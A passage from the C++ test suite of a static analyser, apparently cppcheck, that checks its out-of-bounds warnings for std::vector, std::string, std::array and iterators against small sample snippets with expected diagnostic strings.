causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != 